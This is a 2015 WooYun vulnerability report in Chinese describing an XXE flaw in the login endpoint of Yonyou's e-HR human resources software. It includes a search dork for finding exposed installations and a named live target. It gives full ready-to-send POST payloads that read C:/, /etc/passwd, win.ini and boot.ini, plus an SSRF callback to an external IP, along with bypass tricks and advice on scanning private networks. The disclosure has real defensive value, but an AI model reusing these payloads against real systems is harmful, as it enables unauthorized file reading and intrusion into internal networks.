当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117316

漏洞标题:用友人力资源管理软件全版本XXE漏洞

相关厂商:用友软件

漏洞作者: 守望

提交时间:2015-05-31 15:34

修复时间:2015-09-03 15:36

公开时间:2015-09-03 15:36

漏洞类型:命令执行

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-30: 细节向核心白帽子及相关领域专家公开
2015-08-09: 细节向普通白帽子公开
2015-08-19: 细节向实习白帽子公开
2015-09-03: 细节向公众公开

简要描述:

用友人力资源管理软件全版本XXE漏洞

详细说明:

i-漏洞描述
e-hr在登陆及重置密码处理时,使用xml将用户名、密码及验证码传递给后端进行解析处理,而后端对传进来的xml文件并未作严谨验证导致,可以传进构造的恶意xml文件进行查看文件及ssrf。
由于之前提交未通过,说是与一个注入重复(可能是我上次的提交说的不够详细),so不管怎样请漏洞审查者对此漏洞进行再次认真考量。谢谢~
ii-漏洞证明
google/baidu搜索inurl:/hrss/login.jsp
以搜索出的ehr.mc2.cn进行演示(其他的有的较敏感,有的有防火墙)。
主页打开效果:

again-1.png


登陆抓包:

again-2.png


POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: ehr.mc2.cn
Content-Length: 975
Pragma: no-cache
Origin: http://ehr.mc2.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ehr.mc2.cn/hrss/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1DDABBA58198490936C35195E361359A.server; user=123123; JSESSIONID=96A12531BB510FF28B84E523AECD5BDC.server
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=%3Crpc%20transaction%3D%2210%22%20method%3D%22checkPwd%22%3E%3Cdef%3E%3Cdataset%20type%3D%22Custom%22%20id%3D%22dsLogin%22%3E%3Cf%20name%3D%22HRSS_LOGIN_USER%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_USER_ENCODED%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_PSWD%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LOGIN_IDCODE%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_DATA_SOURCE%22%3E%3C/f%3E%3Cf%20name%3D%22ACCOUNT_NAME%22%3E%3C/f%3E%3Cf%20name%3D%22HRSS_LANG_CODE%22%3E%3C/f%3E%3C/dataset%3E%3C/def%3E%3Cdata%3E%3Crs%20dataset%3D%22dsLogin%22%3E%3Cr%20id%3D%22598%22%20state%3D%22insert%22%3E%3Cn%3E%3Cv%3E123123%3C/v%3E%3Cv%3E123123%3C/v%3E%3Cv%3E123123%3C/v%3E%3Cv%3E9955%3C/v%3E%3Cv%3EMCHR%3C/v%3E%3Cv%3E%25u7F8E%25u627F%25u96C6%25u56E2%3C/v%3E%3Cv%3Esimpchn%3C/v%3E%3C/n%3E%3C/r%3E%3C/rs%3E%3C/data%3E%3Cvps%3E%3Cp%20name%3D%22DEFAULT_DATA_SOURCE%22%3EMCHR%3C/p%3E%3C/vps%3E%3C/rpc%3E&1433050683284


将post内容unescape:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<rpc transaction="10" method="checkPwd"><def><dataset type="Custom" id="dsLogin"><f name="HRSS_LOGIN_USER"></f><f name="HRSS_LOGIN_USER_ENCODED"></f><f name="HRSS_LOGIN_PSWD"></f><f name="HRSS_LOGIN_IDCODE"></f><f name="HRSS_DATA_SOURCE"></f><f name="ACCOUNT_NAME"></f><f name="HRSS_LANG_CODE"></f></dataset></def><data><rs dataset="dsLogin"><r id="598" state="insert"><n><v>123123</v><v>123123</v><v>123123</v><v>9955</v><v>MCHR</v><v>%u7F8E%u627F%u96C6%u56E2</v><v>simpchn</v></n></r></rs></data><vps><p name="DEFAULT_DATA_SOURCE">MCHR</p></vps></rpc>&1433050683284


替换整个__xml的内容为:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "H:/">]><foo>%26xxe;</foo>


所构造的post包就是:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "H:/">]><foo>%26xxe;</foo>&&1433050683284


提交后效果:

again-3.png


我们构造的payload是读取H盘目录,这里提示:H:\ (系统找不到指定的路径。)。如果将H盘替换为C盘目录不出意外的会成功执行而不报错(具体操作要看是使用哪种操作系统,之前已经尝试过linux的etc)。
继续尝试读出c盘目录,payload:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "C:/">]><foo>%26xxe;</foo>&1433049197169


again-4.png


yep~如预期一样没有报错,说明存在c盘目录。典型的blind xxe。这样可能还没有足够的信服力,我们尝试读取linux文件系统的文件尝试一下。
尝试读取linux文件系统的/etc/passwd:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>%26xxe;</foo>&1433050683284


again-5.png


同样报错。外加两个截图证明:
读win.ini成功:

again-6.png


读1.ini报错:

again-7.png


接下来我们尝试发送一个get请求,来请求我映射到公网ip的80端口。
本地nc -lvvp 80,再通过路由器做nat。

again-8.png


payload:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://118.207.244.50">]><foo>%26xxe;</foo>&1433050683284


again-9.png


bingo,我们收到了他的连接请求。
没错,到这里我们可以证明这个blind xxe。
iii-漏洞利用
大牛们想到blind xxe,一定会想到是否是否支持外部实体,如果支持外部实体的话就可以将本地读到的内容发送到远端的服务器上了。就可以间接地得到读取的内容了,不过很遗憾这个漏洞并不支持参数实体。个人测了linux以及widnows平台以及好几个版本,发现均不支持。

again-10.png


那么这个漏洞是否结束了呢?nono,才刚刚开始。

刚才的一系列过程我们只是证明了,在直接替换掉__xml的内容的情况下就可以实现blind xxe。其实这里还有一个可以得到回显xxe。
还记得我们最开始时的post内容么?

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<rpc transaction="10" method="checkPwd"><def><dataset type="Custom" id="dsLogin"><f name="HRSS_LOGIN_USER"></f><f name="HRSS_LOGIN_USER_ENCODED"></f><f name="HRSS_LOGIN_PSWD"></f><f name="HRSS_LOGIN_IDCODE"></f><f name="HRSS_DATA_SOURCE"></f><f name="ACCOUNT_NAME"></f><f name="HRSS_LANG_CODE"></f></dataset></def><data><rs dataset="dsLogin"><r id="598" state="insert"><n><v>123123</v><v>123123</v><v>123123</v><v>9955</v><v>MCHR</v><v>%u7F8E%u627F%u96C6%u56E2</v><v>simpchn</v></n></r></rs></data><vps><p name="DEFAULT_DATA_SOURCE">MCHR</p></vps></rpc>&1433050683284


经过我的不断fuzz(心好累),终于构造出一个可以回显的xxe:
payload:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "/">]><rpc method="noteInputCount"><ps><p name="user_code">1</p></ps><vps><p name="DEFAULT_DATA_SOURCE">%26xxe;</p></vps></rpc>&1433050683284


效果:

again-11.png


使用浏览器效果不明显,burpsuite效果(读取boot.ini):

again-12.png


这里有一个可以快速得到web路径的方法,访问e-hr的http://ehr.mc2.cn/login.jsp文件就可以从源码中快速得到web路径。(全都是这样,算不算一个信息泄露呢。嘎嘎~)

again-13.png


agian-15.png


again-14.png



iv-与这个漏洞有关的一些tricks记录
iv.i 大家可能发现使用了&的ascii码,因为&操作符会在后端处理被当作分割字段符;
iv.ii payload中都没有xml文件头是因为后端对xml头做了过滤;
iv.iii 中文字符无法回显,所以带有中文目录和中文的文件均无法回显,是因为sax的版本低导致,实际利用中需要一些运气成分。在linux系统下可以读.bash_history、.conf等;
iv.iv ssrf时会回显doctype类型错误,但实际表示请求成功,可以开个多线程扫私有段,当然能不能碰到可以利用的还要运气。
v-影响与范围



漏洞证明:

见详细说明

修复方案:

对__xml进行过滤

版权声明:转载请注明来源 守望@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-03 15:36

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无